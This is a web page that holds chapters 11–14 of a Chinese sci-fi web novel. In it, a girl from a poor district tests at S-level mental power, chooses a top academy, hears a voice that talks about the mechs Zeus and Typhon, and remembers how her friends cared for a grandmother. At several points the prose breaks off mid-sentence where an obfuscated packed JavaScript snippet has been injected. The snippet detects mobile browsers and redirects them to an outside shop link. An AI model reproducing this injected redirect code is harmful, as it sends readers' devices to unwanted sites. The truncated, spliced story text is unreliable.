门外的赤琴与温三铭对视一眼,没有分毫意外,却仍忍不住露出一个欣喜的笑。 11.011 江免走进检测间,第一眼看见的便是比想象中小了许多的仪器。 原来它就是一个长相奇怪的头盔。 检测员公事公办地招呼她来桌前坐下,令她戴上仪器。江免也没有多话,戴上头盔,看见检测员来来去去地调试参数、准备记录仪,而江免只是安静地坐在那里。 恰好,她又听见了脑内响起的那道声音: 「你好。」 「你好。」 江免在心中回应。 「这里真无聊。」 「没有人理我。」 那道声音带着消沉:「虽然这里本来也没有人。」 「宙斯那家伙会死掉吗?」 猝不及防地,它转移了话题。 它的思维很跳跃,常常会突然转移到毫不相干的内容上。江免一开始还跟不上它,现在已经逐渐习惯了。 「不过我都没事,它应该也还活着吧。」 「真好。它说它的驾驶员会陪它聊天。」 驾驶员? 这个词让江免提起了注意。 「明明是个闷葫芦,都不说话的,为什么还会有人类愿意和它聊天?聊什么呢?为什么都没有驾驶员和我聊天?」 「哈哈,原来我没有驾驶员啊。」 「哦,原来也没有人类听得见我们说话。」 「宙斯那小子,想来想去,它肯定是在骗我!它肯定是为了让我……」 江免正听到关键处,却听面前的人出声说道:“调试好了,可以开始了。” 江免猛然回神,检测员正在对她说: “你闭上眼,集中精神,脑中什么都不要想。” 江免皱眉,她难以集中。 那道声音说了半头的话,江免错过了几句,好奇心正像小钩子一样吊着她。更何况那道声音还在继续说: 「它骗了我,它只是想和它的人类一起离开而已。」 那道声音带上了落寞:「我还是帮了它,没想到事情会变成这样。我也被抓住了。不知道它之后是否成功逃离了?」 “你准备好了吗?我要联通仪器了。” 江免自己都不知道,如果能和那道声音沟通的话,她是想让它安静,还是想问它方才内容的详细? 她根本无法静下心,也无法集中。 可测试员已经联通了仪器。 测试员面前的屏幕发出了白亮的光芒,他的表情也逐渐变得惊异。 “S级,竟然是S级!” 测试员带上一点儿惊喜,示意江免:“好了,你可以把它拿下来了。” 江免感觉都还没开始,这测试就已经结束了。测试员的情绪变得高亢,他还主动握了握江免的手: “恭喜你,这可是千万分之一的几率!你接下来的人生肯定会大有改变!” 江免面带迷茫,看起来还没弄明白发生了什么事。 想想这里是赤贫区,测试员带着几分欣喜,多废了些许口水去解释: “现在——整个星球的S级精神力者,也不过3万多一些,每年新增的S级还不过百人。但这整个星球上,有超过40亿的人口!你明白你是如何珍惜的存在了吗?” 江免不明白。而且,她脑袋里的声音还在继续另一个不相干的话题: 「哦,终于出现一只我确定认识的鱼了!这肯定是鲨鱼!」 「你好,鲨鱼!你为什么要啃我的胳膊?」 「……哦,真是条坏鲨鱼。嘿嘿,牙崩掉了吧。」 江免一时都不知道该去听哪边了,她感觉她整个头都是大的。 明明知道测试员说的内容也很重要,可她真的忍不住去想: “鲨鱼”不是一种早就灭绝的古生物吗? 根据留存下来的资料,就算假设“鲨鱼”真的存在,可普通人类又如何能够抵挡它的咬合力? 江免一时有些混乱。 检测员见江免微低了头,按了按太阳穴,眼睛发直,面带迷茫。 在过大的惊喜前,这样的呆滞反应也很能理解。 检测员已是拿出了另外的仪器对准江免: “我需要录入你的数据,绑定你的身份信息录入联邦系统备份。D区出身已经不重要了,接下来肯定会有很多学校向你抛出橄榄枝。” 江免赶紧回过神来,但依然感觉如梦似幻: “检测出S级精神力,我真的能够离开D区,还能进入学校?只要检测出S级,就连D区人也能去到B区……甚至A区?” “那是当然。” 检测员笑眯眯地说:“你可是站在金字塔顶端的S级。” 有一个瞬间,江免突然意识到,A、B、C、D区的出身是一个金字塔。而精神力等级,或许是更大的一个金字塔。 江免想起自己刚进入帐篷时,检测员对自己嫌恶而疏离的态度。 精神力这个金字塔,大到足以让这名检测员瞬间改变对一位D区人的态度。 江免什么也没说,配合地完成了身份扫描。 “不过你们这儿没有连通光子网络,报名应该挺困难的吧?我可以帮你申报志愿学校。哦……也不用着急。” 检测员闲聊似的说道: “如果你想参考学校信息、慎重一些考虑,我想不久之后就会有许多学校宣传广告寄到你这儿来,连同免费赠送的投影芯片、携带型网络一起。” 江免已经完全将注意力切到了这边: “你刚刚说,所有学校都免学费?任何专业都可以选择吗?也包括机甲驾驶?” 检测员面露笑容:“当然。” 江免的眼睛亮了起来,也不禁带上几分笑容。不过她随即又想起另一个问题,这也是很重要的问题: “有哪些学校有奖学金?奖学金发放得越早越好,越多越好,我需要钱。” 检测员略带惊异。不过考虑到赤贫区的生活环境,有这个需求很是正常。他回答道: “那自然是越好的学校,奖学金越高。不过相应的,获得奖学金的难度也会增加。想要在高等学府取得奖学金,不是那么容易的。” 江免想了想,仍旧问:“奖学金数额最高的学校是哪里?” 检测员毫不犹豫地答道: “出手最阔绰的,当然是排行第一的圣都卡洛弥亚学院。” 江免记下了这个名字。 “我来帮你查查……” 检测员的手指动了动,看着投影出来的屏幕,缓声念道: “赞助金只能根据学生表现出的能力,所获金额不等,无法一概而论。但圣都卡洛弥亚学院的奖学金数额明确:一年两个学期,每学期共有16个奖项,一年可获最高数额为——48万5400虚拟币。” “那么,” 江免毫不犹豫地说道:“我要入学圣都卡洛弥亚学院。” 检测员惊讶道:“圣都卡洛弥亚学院毕竟是排行第一的学校,整个星球上的人才精英都汇聚在那里。S级不算太稀缺,只有SS级才能在学校里横着走。” 说着,检测员又带上了几分语重心长: “大家都说,宁做鸡头,不做凤尾。在别的学校,你是被全校捧着的宝;但在卡洛弥亚学院,你就没有任何优势了。你不再多考虑一下?” 江免稍稍顿了顿,回答时却依然没有任何犹豫: “帮我报名这个学校吧。” “你确定吗?就为了奖学金?或许你可以再考虑考虑。” “不用了,就它吧。” —— 江免与赤琴、温三铭是一同前来排队的。 当江免从房间中出来,不等她说出结果,另两人都是满面笑容地看她,比她还要高兴的模样。 “我就知道,你一定能行的。” 赤琴很重很重地拍着江免的肩,语气中满载欣慰。 “这下、这下,你也能够实现你的梦想了……” 温三铭更是夸张地抹了抹眼角,音带哽咽。 “接下来到我。” 赤琴一转身,笑容变淡了。她像是上战场般,挺直了背,毅然决然地向那个房间走去。 房间内没有传来太大的声响,平静地结束了。 赤琴从里面走出来,嘴巴抿成向下的弧线。 “如何?” 两人紧张地问。 “B级。” 她说:“不算太差,但也不能算是一个好结果。” 三人微妙地沉默了。 “下一个!” 房间内喊。 “我先去了!” 温三铭慌忙起身,向里面走去。 留下江免与赤琴两人。 “你打算怎么做?”江免问。 “我想去学校。我想离开这里,摆脱现在的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温三铭那边结束得很快,没和任何波澜。他从房间里出来,看起来喜气洋洋的:“结果出来了!” 看他的表情,两人便猜到了结果。 果然,温三铭满是开怀地说道:“虽然测出了精神力,不过是C级!我可以安心地留在这里,陪奶奶了!” 但再看向赤琴与江免,他的笑容也收敛了。 相比于两人,温三铭的感情最为外显。他此刻也直白地表露出了悲伤。 早在多年之前,甚至更早,比两位女孩还要早地,他已是想象着三人14岁之后的分别。 他们三人彼此熟悉。这么多年过来,工作结束后,每天晚上短暂的自由时间里,他们总是形影不离地,几乎快要变成连体婴。 江免喜欢的是机械、机甲。她很早以前就有了“特殊的能力”,小时会说出一些怪话,还会与机器交流,大家都觉得她是个怪人。 但赤琴与温三铭知道,她有着她的才能,江免也一直在为驾驶机甲而努力。显而易见的,她不会困顿于这个赤贫区域。 赤琴的脑子聪明,长相也好,对外的情商也高,知道怎么把话说到人的心坎里。她是唯一一个不用劳作也能获得大量食物的孩子,她轻易就能讨得他人的喜欢。 但江免与温三铭知道,她怀揣着如何的野心。她会抓住她周围一切可以利用的资源,她想要离开这里。 只有温三铭,他显得很普通,很随波逐流。 他没有任何远大的志向,也没有特别执着的东西。他的愿望是和亲人、朋友一直生活在一起,平安健康的。 不用太多的钱,也不用太美味的食物。只有每天见能够到朋友、奶奶的脸,他就已经觉得幸福了。 但是,她们想要离开。他不会去阻止,她们的意向才是最重要的。 所以,温三铭只是提前2年、3年,他时常会想象他们分别的时刻。他想要通过脑内的演练,希望在真正面临分别的那一天,他不至于哭得太过狼狈。 不知道他现在经过演练后的表情,在她们眼中,是否合格? 江免却又一次地提及了昨日的话题: “我会回来的。有你们在的地方,才是家。” 江免对温三铭说,“我会带更多的药,更多的生活资源回来,你和奶奶不用再过得这么辛苦。” 江免对赤琴说:“我会努力赚钱,帮你凑够学费,让你能够自由选择学校的学费。” “如果遇见难题,哪怕隔着天涯海角,也要告知彼此通晓。就算我一人无法解决,集合我们三人的力量,也一定能度过难关的。” “就像以往的每一次那样。” 12.012 他们三人在一起,度过了很多很多的难关。 从共享的食物,到单独无法对抗的恶徒,再到药品,再到照顾老人。 奶奶抚育了温三铭,又捡到了赤琴与江免。但那两人懂事的时候,不约而同地,因为不想再为老人多添麻烦,离开了温三铭家。 即便不住在一起,他们依旧是朋友,依旧会在约好的时间聚集。 大概在他们6岁的时候,温三铭的奶奶倒下了。 并非什么眼中的疾病,事情的起因很是平常,那天的天气也很是平常,是个还算温暖的晴天。 捡垃圾的时候,奶奶一不小心,摔倒了。 仅仅是摔倒了。 奶奶骨折了。 却自这一天起,奶奶的健康状况迅速恶化。本来D区就没有医院,药品更是稀缺的“硬通货”。那时江免还没进入工场,与温三铭在不同区域,都只能做最简单的拾掇垃圾的工作,领一份填不饱肚子的工资。 奶奶卧床不起。 老人断掉的骨头无法医治,疼痛折磨着她;更加糟糕的是,卧床时候,老人变得生活无法自理,连翻身都无法做到,更何况排泄、清洁。 温三铭与江免、赤琴轮流来照顾着奶奶。但奶奶总是显得很痛苦,这种痛苦或许不止来自于身体的伤。 但卧床了没几天,无法及时医治的病情更加恶化了。奶奶得了肺炎,有了血栓。每每结束工作之后,他们已经很努力地前来帮助奶奶清洁、翻身了。 但加之生活环境的恶劣,奶奶身上的压疮在扩散,腿部肌肉在萎缩。 奶奶像是在奔着死亡而去。 明明在A区,只需要一颗小小的药丸,不管是骨折还是肺炎还是压疮,都能不带疼痛的瞬间疗愈。 听说那里的药包治百病。 奶奶哪需要遭受这种折磨。 纵使三人还是幼童,每天仍然需要去工地搬货,否则便断了经济来源。 如果外出寻找食物,离开老人,老人无法自理,不知道会怎样; 但如果一直候着老人照顾,他们没钱,没有食物,都会被饿死。 赤贫区的居民道德水准不怎么高。能活下来的人,不乏偷抢的。 温三铭觉得自己的道德水准其实没有他们以为的那么高,他其实并不介意那些下作手段。 对他而言,最重要的是活下去。 活下去。 如果不是老好人的奶奶一直教育他,不要偷抢、要挺直脊梁。所以他才会拿着低廉的工资,就像奶奶年轻时走过来的那样,老老实实本本分分地去赚钱买食物。 江免与赤琴一次都没有偷抢过。他们三人才能够成为朋友。 但是这一次,唯独只有这一次,温三铭动摇了。 他跪在床前,握着奶奶的手,看着抚养自己长大的亲人的面庞。 昏黄的、衰老的。 了无生机的。 如果都快要饿死了,再坚持那些莫须有的“原则”,真的有意义吗? 温三铭没有办法了。 他需要大量的钱。能够买到药品的钱,能够让他专心照顾老人的钱。 他在心里无数次地给奶奶道歉、给两位小伙伴道歉。 他想要背叛她们的信任,最快的来钱办法只有偷与抢。他没有办法长久地离开奶奶身边,亲人与一个背离环境的原则根本没有可比性。 他还需要药。以他的工资,根本买不起的药。 该怎么做,已经很明了了。 温三铭拿了防身用的小刀,也做好了心理准备。 正准备出门时,却是江免与赤琴来了。 温三铭见了他们,刚狠下来的决心猝不及防地崩塌了。他脸上似哭非哭的,温三铭几次张嘴,想要诉说点什么,却发不出音来。 赤琴笑嘻嘻地说:“我们来帮你啦。” 江免提起一袋子的食物,塞进了他的怀里。 “这些……你们是哪儿来的?” 温三铭抱着袋子,还有点不敢接,又急着擦眼泪,他显得手忙脚乱的。 “我们所有的储备粮。” 赤琴指向江免,努嘴道:“她多打了一倍的工,别人的活她全干了,才多拿了1.5张钱。” 江免不好意思地挠头,应了个声,对温三铭露出一个敦朴的笑。 “先用这些将就吧,我再看看能不能多弄点药来。” 赤琴将救命的药送到了他的手中。 温三铭毫无防备地落下泪来。 …… 奶奶从鬼门关走了一趟,回来了。 虽然落下一些后遗症,腿脚也变得不太利索,但她回来了。 赤琴在那之后又为奶奶带来了两次药。 赤琴生得姣丽,嘴巴也甜,轻易就能讨得人的喜欢。 她大概是唯一一个能受到D区所有住民喜欢的存在。两人是亲眼见过她两三句话就把大人哄得找不着北,给了她一堆粮食。 赤琴与他们不一样,就算不用工作,也能靠其他人好心的接济填饱肚子,有时甚至能拿出多余的食物与他们分享。 赤琴想要什么,总是能拿到什么。所以两人没有怀疑药的来源。 奶奶又能够与他们说话了。 但三人还不能掉以轻心,奶奶之后的康复同样重要。 有了多的人手,温三铭至少有了外出工作的余裕。三人轮流照看卧床老人,缺了一个劳动力,本来就不足够的食物更是短缺。 每天到了晚上,外出打工的两人回来后,就这样挤在温三铭既不温馨也不宽敞的小破屋子里,一人处理食物,一人做饭,一人给奶奶喂食。 到了晚餐时间,三小只凑在一起,吃着已成糊状的过期营养液,搭配一碗海藻粉冲泡的汤勉强补充一些植物纤维。 吃完了,便凑到一起,聊起只有江免能听见的声音,讲讲工头的坏话,拿出今天新发现的垃圾场宝藏,分享刚发现的秘密基地。 他们漫无目的地聊着天,一直到夜色渐黑。漏洞的屋顶棚上映射出星星的影迹,霜白的月光撒了他们满身。 奶奶睡去了,正打着呼。他们压低了声音,在规律的鼾声中说起梦想,谈及未来。 奶奶生病的时候,三人一直留驻在温三铭家里,挤在唯一的一张塑料床板上。 它勉勉强强能够睡温三铭一人,如今再加上两人,谁也展不开手脚。三小只就像鹌鹑一样挤在一起,共盖一片破碎的毛毯。 赤贫区的昼夜温差大,他们的“家”还漏风。三人发着抖儿,却又通过身旁之人感受到了些许的暖意。 一夜又一夜地这样过去了。 奶奶的所有病症都已经恢复,只是因为医治到底迟了些,发烧太久让她的思维变得不太清晰,又或是因为到了年龄的常态?奶奶有时会连温三铭这个孙子也忘了。 但温三铭觉得,已经足够了。 奶奶还活着,他的朋友们在他的身边。温三铭不奢求更多了。 再过一段时间,奶奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506723|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了自理能力。三人不用再轮流候着奶奶,也不再留宿温三铭家中。 明明是很小很小一张床,大家都睡得不舒服。可她们离开的第一夜,温三铭能展开手脚了,他反而觉得落寞。 好在他们每一日都会见面。 第二天,再在港口工地见到江免、再在夜晚工作结束后见到前来汇合的赤琴。他们的生活又回复了最初。 这段时间的苦难带着梦幻,叫人分不清自己是希望它早点结束,还是希望它走得再慢一些。 …… 后来,三人的友谊随着年月变得更加笃厚。温三铭带着怀念,谈及奶奶生病时的事情。 他问两人,“明明自己也活得很辛苦,你们为什么愿意过来帮我呢?” 结果出乎意料的。两人的回答同样,她们并不仅仅是为了温三铭这个人。 江免与赤琴一齐道:“因为我们都没有家人。” “这里的大部分孩子,都没有家人。或者家人是个混蛋人渣。”江免回答。 赤琴也说:“难得遇见了一位老人而非一个老登,我觉得你的奶奶很特别。” 江免说:“第一次遇见奶奶的时候,她给我了一碗海藻粉汤。那是我喝过的最好喝的汤,我到现在都还记得。” 是啊。奶奶是有一些不符合赤贫区的善良。 刚见到江免的时候,明明他们家已是揭不开锅的状态,奶奶仍拿着仅存不多的海藻粉,用着珍贵的过滤水,给瘦得皮包骨的孩子递了碗汤。 刚遇见赤琴的时候,她把奄奄一息的小女孩从垃圾堆里捡出来,用干净的棉布沾了水,一点一点地擦干净了她的身子,并用布条为她做了一身新衣。 她还想要养大这两位无家可归的孩子,用年老力衰的身体,试图去养活三个孩子。但江免和赤琴两人都拒绝了,只会在偶尔来温三铭家中,探望奶奶。 江免遥望着屋子里,似乎想说点什么。她没说出口,但温三铭明白了。 他低声说:“她是我们三人的奶奶。” “我们都是她的家人,我们彼此都是家人。” 赤琴在旁边,风吹乱了她的头发,赤琴笑嘻嘻的。 三人站在陋屋前,彼此相视一眼。 奶奶骨折卧床的时候,温三铭没有哭;因为找不到食物,下定决心打破原则的时候他没哭;奶奶迷迷糊糊说出“不用管我了”的时候,他也没哭。 多年过去,危机平缓了。现在奶奶恢复,食物也不再紧缺。自幼的两位朋友好端端地站在他面前,享受着微风拂过。她们似乎一如既往,再对他笑的时候,温三铭突然哭了。 他哭了很久,他也不知道为什么。 时隔这么多年了,大概是因为他的反应太过迟钝。 江免吓了一跳,赤琴惊了一瞬。江免手忙脚乱地不知该如何安慰,忙乱地拍着温三铭的肩背。赤琴在旁边没心没肺地笑,说他是个哭包。 温三铭认了“哭包”这个称呼。他抽噎着、断断续续地了谢了两人许久。或许是因为夕阳余韵,他看见两人的脸都染上红霞,变得通透,最后谁也不出声了,只是笑着。她们一直笑着。 他一直在加倍地劳作、寻找食物,想要报答她们的帮助。江免不懂拒绝,赤琴没有拒绝。三人就这样,相扶相帮地一直走到了今天。 直至14岁,精神力检测的结果出来了。 人被突兀地划分为了三六九等。 站在人生这个巨大的岔路口前,他们各自有了不同的路。 13.013 检测只是检测,惊喜也不能影响目前的生活。 在检测结束过后,江免回去了工场,温三铭回去了他的工作。三人相互告别,约好晚上再见。 江免重新踏入工场,竟有种恍若隔世之感。 诸人围聚过来,看上去比她还紧张,纷纷问道: “结果怎么样?” 这一天,所有人都是恍恍惚惚地度过了。 …… 三人聚集的时间是夜里,赤琴总比他们早到。有很长一段时间,温三铭都以为赤琴没有工作,不需要工作,而江免直至今日都这样以为。 然而这一天夜里,没有提前说明,赤琴突然缺席了他们的聚会。 或许是有什么意外? 两人来到了赤琴的住处,赤琴不在。 他们三人偶尔都会有这样的情况。比如江免是在某一处沉迷机械,温三铭是在哪儿挖到宝了,赤琴则是与什么人相谈甚欢相见甚晚之类的。更何况他们现在14岁了,在D区也有了相当的名声,已经有很久没有“意外”找上他们了。 两人决定明天看看情况再说。 于是江免与温三铭告了别,回到各自的住处,以各自不同的复杂心情度过了这一夜。 再到第二天。 依然是惯常的时间,惯常的地点,他们在今天又见到了赤琴。 赤琴与往常一样,也是很精神的,带着点儿歉意对他们解释: “抱歉,昨天遇见一个人拉着我聊了大半夜,我不好中断话题……” 见赤琴不是遇见危险,他们放下心,这事儿也就过去了。 卡洛弥亚学院的开学是在年初第一天,距离现在还有3个多月的时间。而在这段期间,江免只需要等待学院寄给她的入学礼包与录取通知书就够了。 她的生活几乎没有改变,就像什么都没发生过一般继续着,丁点不曾提到她现在已经获得的荣耀。能够平静到这种程度,周围的人反而要震惊一下了。 再与两位小伙伴聚在一起的时候,当赤琴解释完她昨天没来赴约的原因,接着又调侃了江免的态度。江免依然像是把“精神力检测”当成了一个普通的过场,倒是说起了其他: “说到我听见的那道‘幻听’,它又提到了新的信息……” 三人可还想多讨论一下“S级”精神力的话题呢。事情才刚过去了一天,整个D区已经发酵开来了。很多人都在打听,“听说出了个S级?真的吗?他是谁?” 一滩死水般的D区像是突然被投进了一颗石子,涟漪一圈又一圈地传递开来。麻木的人们因为八卦,眼里竟有了光。 温三铭与赤琴作为知情者,而且是与江免关系最好的知情者,至少温三铭感觉,他深刻地爽到了。 结果江免本人别说耀武扬威地去炫耀了,她可能连因为她而泛起的“涟漪”都没意识到。江免更在意的竟然是: “你们听说过‘宙斯’这个名字吗?” “宙斯?没听说过啊。” 那两人一愣:“有什么上下文联系吗?” “感觉好像不太像是个人。”江免说。 另外两人用一种变得更加复杂的眼神去看她。 “宙斯,对吧。” 赤琴说道:“我想办法找一找,你听到的这个‘宙斯’的情报。” …… 第二天夜间的聚会,赤琴又没有来。 不过第三天白天江免倒是远远遇见了赤琴。赤琴正在和一位D区居民讲话,表情轻快而灿烂。 远远地,她也发现了江免。于是隔着那人,她俏皮地对江免眨了眨眼睛。 一切如往常,江免没有太多对赤琴的担忧,她又回到了工场的工作。 再到了晚上,赤琴在往常的时间见到了两人。 一见到江免,赤琴将她找到的信息迫不及待地交代出来: “我找到‘宙斯’相关的消息了!” 江免瞬间提起精神,集中了注意力。 赤琴说道: “有两位‘宙斯’最为有名,但都是……旧时代的符号了。” “一位宙斯是古神话中的神明,作为主神存在,并且很厉害;另一位则是以前者的名字作为致敬,由此命名的人造机甲。如你所说,它们确实都不是人类。” 出于不同的原因,在赤琴说完这段话之后,三人一齐陷入了沉默。 没有人接话。过了一会儿,赤琴继续说道: “古代神明的名字之余我们已经意义不大,更常被提及的是作为机甲的‘宙斯’。它——……” “因为我们身在D区,与教育无缘,所以无人知晓。但在外面,这是普通的常识:” 赤琴低低地说了一句,才继续道: “宙斯,是救世的机甲。它从虫族的侵略中拯救了我们人类,我们人类文明才得以延续至今。” “宙斯被称为史上最优秀的机甲,是人类科技技术的巅峰,我们现在制出的机甲再也不会超越它的性能。简而言之,宙斯是值得被歌颂、被崇拜的。讴歌的句子被满满地写在历史书中。” 江免想到了她在检测时听见的信息。 「宙斯那家伙会死掉吗?」 江免问:“那它的结局呢?” “我看到的书上没有详写。” 赤琴语焉不详地说了一句:“看起来,似乎是不在了。” “不在了?” “被毁坏了。” 江免和旁听的温三铭不免都冒出一个问号,而赤琴自己也显出了几分烦躁的疑惑: “我能接触到的书本有限,没能找到更多资料。宙斯的结局与旧人类的灭亡有联系,但所有的书都对灭亡的部分一笔带过,要么就是进行了艺术色彩的魔幻加工,不同的书呈现了截然相反的记录;宙斯的下场更是五花八门,我感觉参考价值很低。” “不过,很多书本上还提到了另一个名字。相比起对宙斯大串大串的赞美,这个名字像是忌讳一样,几本书上都仅用一两句话一带而过;有的书更是连名字都没提及,只说了有这样一个存在。” 江免觉得赤琴在卖关子,希望她赶紧把整件事情说完。温三铭已经忍不住催促上了:“然后呢?” 赤琴是在整理脑内的信息。这之后她才说道: “有另一台机甲,它的存在仿佛就是为了毁坏宙斯这个象征着巅峰的‘完美’存在。就结果而言,它真的完全毁坏了宙斯,也毁坏了人类的希望。是它的存在,将旧人类世界引入了无解的深渊。” “那台机甲的名字叫——” ‘提丰’。 江免脑内的声音响起了。 说不清缘由,江免希望它能再提一次“宙斯”。或者其它信息也好,其它任何能定位那道幻听身份的信息。 不过它倒是一如既往,处于一种自得其乐的状态: 「现在是晚上,还是白天?哦,我发现一个发光的东西。说来,我也会发光吗?」 「不,我没能源了,看来没办法和它打招呼。真是遗憾。」 「这是鮟鱇吗?它长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另外两人又陷入了诡异的宁寂。江免干脆将整段话复述出来: “它说,‘明明是个闷葫芦,都不说话的,为什么还会有人类愿意和它聊天?’” 温三铭:“你是在说……” 赤琴:“以前的机甲和机甲驾驶员……” 温三铭:“他们会聊天??” 赤琴:“等等,等等,我们先不要被误导了。首先假设你这个幻听中提到的宙斯真的是那个宙斯。它虽然是在古时代,但那时科技比现在发达的。现在都有陪伴型机器人,和机甲兵器聊天并不奇怪的。而就算它提到了‘宙斯是个闷葫芦’,这可能是AI的初设性格模型呢。” 另外两人长长地“哦——”了一声,释然了。 这个问题上是释然了。 但温三铭与赤琴都意识到了: “但是,你听见的这道声音能这么熟稔地提及‘宙斯’……” “那它,又会是谁?” 三人又一次地沉默了。在寂静的夜中,唯独她能听见的声音说道: 「看说明书真无聊。」 「没有人理我。」 「在这里也很无聊。鱼也不会陪我聊天。」 尽管依然没弄懂它的身份,甚至就连它的存在是否真实都无法确定。 但在沉寂之中,江免的心静悄悄地偏向了它。 14.014 尽管还没有得到证实,但已经确认了江免的精神力,还有精神力觉醒异能的关联后,他们都倾向于江免听见的声音是异能,而非真的精神分裂。 所以,他们将江免看见的声音当作了可以相信的真实信息,并未质疑。 三人便是一路发挥着想象力,聊着宙斯与提丰两台机甲可能的未来,猜测江免听见的声音又会是如何的关联者。 他们接着从江免听到的声音聊到那时的精神力测试,再聊到江免选择的院校。“读书”这件事在所有的D区人看来都是痴人说梦,不过他们其实在梦中都不曾幻想过。 学校听起来就像金子做的宫殿一般,是尊贵而不容玷污的。 江免为了奖学金选择了这个顶尖的院校。在赤琴与温三铭的提醒下,她后知后觉地意识到,连字也认不全的她,或许真会成为对“知识”的玷污。 江免人生中第一次感到惶恐。 第二天的时候,她依旧去了工场,只是随身带上了读取器,希望能在空闲的时候完善一下基础教育。 不过这件事,大人们考虑的也比她周到。 江免来到工场,赛蒙竟给她带来了一本珍贵的识字书籍。江免并不全是文盲,一旦她下定决心做某事,记得也是飞快。 如此专注地记完一整本书,也有一两个小时的时间过去。江免恍然回过神,感觉自己像是薪水小偷,白占了一份工资却什么也没做。 竟是工厂里的人齐齐制止了她回来修理的打算,一个两个的比她还惶恐,都在劝她读更多的书,并拿出了似早就准备好的芯片。 江免显出几分犹豫,其他人却说: “都跟着你练了这么多年,我们再傻,现在也能独立修好不少器械了!你还不放心我们的技术吗?” “不是这个原因……” 什么也不做,工作时间却坐在一边看书,江免觉得不太爽利,又想回去帮忙。 赛蒙按住了她,突然说:“江免。” “这本来就是你应得的部分。” 江免不解。赛蒙才说: “其实……你还记得最初那阵子,你帮我们修理了机械,我给你的工资吗?是6个肉罐头,一箱水,一箱营养液,还有……” “16张钱。” 江免记得比赛蒙还清楚。 赛蒙低了头,声音沉了沉: “其实我们因为你得到的资源,有整整20箱营养液、20箱淡水、5箱肉罐头。但我交给你的好处,还不及获利的十分之一。那之后也是,我与你说是五五分成,将你我的物资放入仓库中均分……” 多年过去,赛蒙一直践行了他们的承诺,如今仓库已是叠满了资源,她与小伙伴们有了一层额外的生活保障。 只是他们依然选择了工作而已。 赛蒙却是说道: “说什么五五分成,我当然知道是我占了你的便宜。技术是独一无二的,更遑论你还教会了我们……” 江免有点不解:“所以?” 赛蒙因为她的不解有点语噎: “我是说,我占了你的便宜,我们对不起你。我本来想表达的是,你就算偷个懒,摸个鱼,多占一些仓库的资源,甚至把分成改成三七分,你七我们三,我们都没有意见。” 场里一帮大汉目光炯炯地看着她,都没说话。 江免的态度好像依然带着种迷茫似的,先是“哦”了声,抓取到重要信息: “你是说我最近可以在工作时摸鱼,用来看书学习。但是工作时做其它的,我还是觉得有点良心过不去。” 赛蒙觉得他其实在很诚心的忏悔,但是他的忏悔部分好像被微妙地跳过了。 江免又说: “资源分配部分我没意见,本来只要能让我和我周围的人过好就足够了。而且现在那些资源也累积了大半个仓库,我觉得足够了。你们想改分配比例也行,不改也行。” 顿了顿,她最后说:“没有谁占了谁的便宜。我教你们修理,你们同样教了我格斗。我觉得是公平的。” 赛蒙看她,表情多了几分难言的复杂。他想起了曾经询问过的,她是否会被A区人同化这个问题。那时赛蒙带着悲哀的确信,觉得没人不会被那个体系腐蚀。 然而现在她真的获得了进入A区的资格,赛蒙依然带着悲观的预测。 但想到如果江免真的融入A区,赛蒙又在诚心地祝福于她,那是对他们而言的鱼跃龙门,是最好的结局。 可现在,赛蒙却多了一份遗憾与惆怅,他意识到这可能是不舍。 不论是因为他最初打算利用她,所以吞占了的资源; 还是因为这一刻他坦白,却得到“我觉得是公平的”的回答。 赛蒙发现,他有一点儿伤心。 江免要离开了。 如果他从一开始就分给她更多的资源就好了。现在即便把整个仓库让给她,她也用不上了。 再从A区回来……假设,假设她真的还记得D区,会回到这里。体验过云端的生活环境后,大概也看不上廉价的罐头了吧。 赛蒙没再说话,工场也一反常态地陷入沉默。直到他们进入惯例的“切磋时间”,这在江免进入工场后已成为看每天的日常,如今已持续了7年。 休息之余,江免又问这边的人:“你们知道‘宙斯’和‘提丰’吗?” 这边的人多了人生经验,但文化程度与孩子也相差不到哪里去,皆给出了否定的回答。 不过他们也不太在意这两个生涩的名词,人们的话题很快偏移到了那天的精神力检测。即将鲤跃成龙的人就在他们中间,D区出了个S级已成为了近期所有人的话题。 他们一遍又一遍地问起江免那时的细节,江免逃也似的捂着耳朵跑开了。 …… 又一天的工作结束了。 这天的工作显得比往常清闲了很多,而且他们都鼓励江免到一旁去看书。江免一开始是不想怠工的,但马上那群人就重复询问起精神力的话题,江免烦不胜烦地躲到一边,还真学了不少。 只是,偶尔听一耳朵他们的讨论,那群人已经从最开始的“奇光异象”版本升级到了“天降祥瑞,平地惊雷,吓尿检测师傅”版本。 江免累了,不想再澄清了。 只送他们一句“不信谣不传谣”吧。 江免以一种身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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江免既担心赤琴状态,又担心赤琴感受,有些犹豫:“既然赤琴不告诉我们,就是不希望我们知道。我们擅自跟踪她,她会是什么感受?” 温三铭垂下了肩膀,长叹了一声:“好吧。” 他也放弃了。 …… —— 而另一头,赤琴回到家,昏沉地睡过去了。 第二天,在一如既往的时间起床。 通过另一片隔离地带,赤琴来到了B区。 